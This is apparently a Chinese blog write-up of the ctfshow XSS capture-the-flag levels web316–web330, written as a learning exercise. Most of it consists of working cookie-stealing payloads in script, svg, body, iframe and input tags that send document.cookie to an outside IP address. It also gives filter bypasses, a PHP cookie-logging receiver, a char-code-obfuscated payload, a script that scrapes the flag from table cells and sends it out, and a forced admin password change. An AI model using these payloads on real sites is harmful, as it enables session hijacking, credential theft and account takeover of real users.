ctfshow-xss(web316-web330)

发布于:2024-07-06 ⋅ 阅读:(34) ⋅ 点赞:(0)

讲解相当细致

精致练习XSS

web316

这道题估计陆陆续续弄了半天 因为xss可以说基本不会 还好最终彻彻底底明白了

首先这道题是反射性xss 也就是必须点击某一个xss链接 才能达到xss效果

这道题的意思就是 写一个祝福语生成链接发送给朋友 这个祝福语的位置就是我们实现XSS的位置

已知:flag在BOT(程序,机器人)的cookie中并且 生成的链接后端BOT会每隔一段时间访问 

所以 要构造一个含有XSS的链接 使得管理员只要访问就能获取BOT的cookie

首先用vps写一个获取cookie的php文件(别用本地服务器 因为管理员无法访问到内网ip)

构造XSS链接  这个js脚本的意思就是重定向到指定的vps中指定的文件 并且将访问者的cookie作为参数传进去

<script>location.href="http://49.234.38.224:8080/index.php?cookie="+document.cookie</script>

从而完整链接为 

当前地址?msg=<script>location.href="http://49.234.38.224:8080/index.php?cookie="+document.cookie</script>

生成完整链接后 后台BOT会隔一段时间访问这个完整链接 只要访问了 vps就能获取BOT的cookie BOT(程序)的权限

生成链接后 在vps中 持续查看当前目录的文件  最终的到flag

web317

因为BOT每隔一段时间就会访问 并且每次获取的cookie都会放置cookie.txt的一个文件下 为了方便查看 更改一下获取cookie的php文件

<?php
	$cookie = $_GET['cookie'];
	$time = date('Y-m-d h:i:s', time());
	$log = fopen("cookie.txt", "a");
	fwrite($log,$time.':    '. $cookie . "\n");
	fclose($log);
?>

还是同样的题目 提示是添加了过滤

使用上一题的js脚本 无反应 试了一下<script>alert(1)</script>无反应 看来过滤了scritp

那就换一个js脚本

用svg标签的

<svg onload="window.open('http://49.234.38.224:8080?cookie='+document.cookie)">

获得了flag

web318

使用上一题的payload svg标签的依旧可以 

<svg onload="window.open('http://49.234.38.224:8080?cookie='+document.cookie)">

尝试新姿势 body标签

<body onload="document.location.href='http://49.234.38.224:8080/index.php?cookie='+document.cookie"></body>

web319

继续学习新姿势

iframe 标签

<iframe onload="window.open('http://49.234.38.224:8080?cookie='+document.cookie)"></iframe>

body标签

<body onload="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)">

input标签

<input onfocus="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)" autofocus>

web320

发现是空格过滤了 过滤了script,img,空格

上面的js脚本一个一个尝试将空格换成注释即可

<iframe/**/onload="window.open('http://49.234.38.224:8080?cookie='+document.cookie)"></iframe>

web321

用上一题的打一下 成功

<iframe/**/onload="window.open('http://49.234.38.224:8080?cookie='+document.cookie)"></iframe>

web322

用上一题的即可

<iframe/**/onload="window.open('http://49.234.38.224:8080?cookie='+document.cookie)"></iframe>

学一个新姿势

String.fromCharCode()函数:ascii码转字符 十进制ascii码转字符串

String.fromCharCode(60,115,99,114,105,112,116,62,100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,52,57,46,50,51,52,46,51,56,46,50,50,52,58,56,48,56,48,47,105,110,100,101,120,46,112,104,112,63,99,111,111,107,105,101,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,60,47,115,99,114,105,112,116,62)

结果就是

<script>document.location.href='http://49.234.38.224:8080/index.php?cookie='+document.cookie</script>

测试一波直接这么用还不行 按照大佬的方式 也不行 不知道什么原因 记住有这个姿势

 <body/**/οnlοad=document.write(String.fromCharCode(60,115,99,114,105,112,116,62,100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,52,57,46,50,51,52,46,51,56,46,50,50,52,58,56,48,56,48,47,105,110,100,101,120,46,112,104,112,63,99,111,111,107,105,101,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,60,47,115,99,114,105,112,116,62));>

<body/onload="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)">

估计是这道题过滤的问题  记住有这个姿势即可

以下四道题特别有意思 气死我了网上全没有因为用的和web321一样的payload 但是我用就不行这几道题用了无数的网上的payload就是不行  等过两天看看原因吧

web323

过滤了空格 使用/绕过 有的时候/**/不好使  过滤了iframe script 

<body/onload="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)">

<body/onload="document.location.href='http://49.234.38.224:8080/index.php?cookie='+document.cookie"></body>

<svg/onload="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)">

<svg/οnlοad=location.href="http://49.234.38.224:8080/index.php?cookie="+document.cookie>
#上面这个不可以

<input/onfocus="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)"/autofocus>

<input/οnfοcus=location.href="http://49.234.38.224:8080/index.php?cookie="+document.cookie/autofocus>
#上面这个也不可以

web324

<body/onload="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)">

<body/onload="document.location.href='http://49.234.38.224:8080/index.php?cookie='+document.cookie"></body>

<body/**/onload="window.location.href='http://49.234.38.224:8080/index.php?cookie='+document.cookie"></body>

<svg/onload="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)">

<svg/οnlοad=location.href="http://49.234.38.224:8080/index.php?cookie="+document.cookie>
#上面这个不可以

<input/onfocus="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)"/autofocus>

<input/οnfοcus=location.href="http://49.234.38.224:8080/index.php?cookie="+document.cookie/autofocus>
#上面这个也不可以 我现在严重怀疑 除了body和script 剩下的和href结合都有问题 

web325

<body/onload="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)">

<body/onload="document.location.href='http://49.234.38.224:8080/index.php?cookie='+document.cookie"></body>

<body/**/onload="window.location.href='http://49.234.38.224:8080/index.php?cookie='+document.cookie"></body>
#上面这个大师傅不行 但是我行 有些东西玄学
<svg/onload="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)">

<svg/οnlοad=location.href="http://49.234.38.224:8080/index.php?cookie="+document.cookie>
#上面这个不可以

<input/onfocus="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)"/autofocus>
#这关input不行了
<input/οnfοcus=location.href="http://49.234.38.224:8080/index.php?cookie="+document.cookie/autofocus>
#上面这个也不可以

web326

<body/onload="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)">

<body/onload="document.location.href='http://49.234.38.224:8080/index.php?cookie='+document.cookie"></body>

<body/**/onload="window.location.href='http://49.234.38.224:8080/index.php?cookie='+document.cookie"></body>

<svg/onload="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)">

<svg/οnlοad=location.href="http://49.234.38.224:8080/index.php?cookie="+document.cookie>
#上面这个不可以

<input/onfocus="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)"/autofocus>

<input/οnfοcus=location.href="http://49.234.38.224:8080/index.php?cookie="+document.cookie/autofocus>
#上面这个也不可以 我现在严重怀疑 除了body和script 剩下的和href结合都有问题 

web327 

很多都可以

<script>window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)</script>
<input onfocus="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)" autofocus>
<body onload="document.location.href='http://49.234.38.224:8080/index.php?cookie='+document.cookie"></body>

发件人:必须是admin (因为要让管理员看到内容)内容就是js脚本获取管理员cookie 这样就能通过vps获取到管路员cookie了 cookie中存在flag

web328

有注册有登录 有用户管理

在用户管理中只要是管理员就可以看到用户名和密码

 思路:注册一个新用户 密码是js脚本(已知后台BOT会访问这个页面 从而获取管理员cookie)

然后抓包获直接f12cookie修改为管理员的cookie 就是以管理员身份查看该页面 

注册

账号123

密码 <script>window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)</script> 

获取到了管理员cookie

修改cookie得到flag 有的时候页面可能是多个数据包组成的 在f12中直接修改cookie是达不到效果的 可能需要抓包 记住就可以

web329

和web328一样 发现管理员cookie是随时变的 后端设置就是访问后cookie立马失效 所以不能用上一题方法

<script>
$('.laytable-cell-1-0-1').each(function(index,value){
    if(value.innerHTML.indexOf('ctf'+'show{')>-1){
        window.location.href='http://49.234.38.224:8080/index.php?cookie='+value.innerHTML; 
    }
});
</script>

js脚本解释 在f12中查看密码位置的类名为.laytable-cell-1-0-1 然后使用each方法进行遍历 然后条件是 如果值中包含ctfshow的关键字就访问vps获取value.innerHTML 这个就是元素属性值也就是具体值

web330

用上一题方法不行 但是有一个可以修改密码的

思路就是 让管理员只要访问这个页面就自动修改密码就可以

首先对修改密码的页面进行抓包 我们修改密码为123 

他是通过GET进行传参 进行修改密码的(通过访问/api/change页面)  提交后就会修改密码 没有什么过滤的地方 并且没有验证的地方 很简单

 

思路就是 写一个js脚本 使得管理员只要是访问页面就会自动跳转到修改密码的页面 并且传参为p=123即可 

js脚本 意思就是

<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>

window.location.href 表示当前页面的 URL 地址 设置的新 URL 是 'http://127.0.0.1/api/change?p=123',它是一个 API 的地址,其中 p 参数的值为 123 当浏览器加载这个 JavaScript 脚本时,它会立即将当前页面重定向到该 API 地址,并带上参数 p=123。在重定向完成后,页面将会显示 API 返回的内容 管理员访问的肯定是本地的api接口 所以用127.0.0.1

这个js脚本作为密码 随便创建一个用户 (题目默认BOT会隔一段时间访问账号密码页面 从而实现了管理员点击事件)

已知管理员账号为admin 等10秒使用admin账户 密码123 进行登录

发现不行 那么就把这个js脚本当做用户名字段 试试 

发现使用admin用户密码为123可以成功登录 点击账户管理 发现了flag


网站公告

今日签到

点亮在社区的每一天
去签到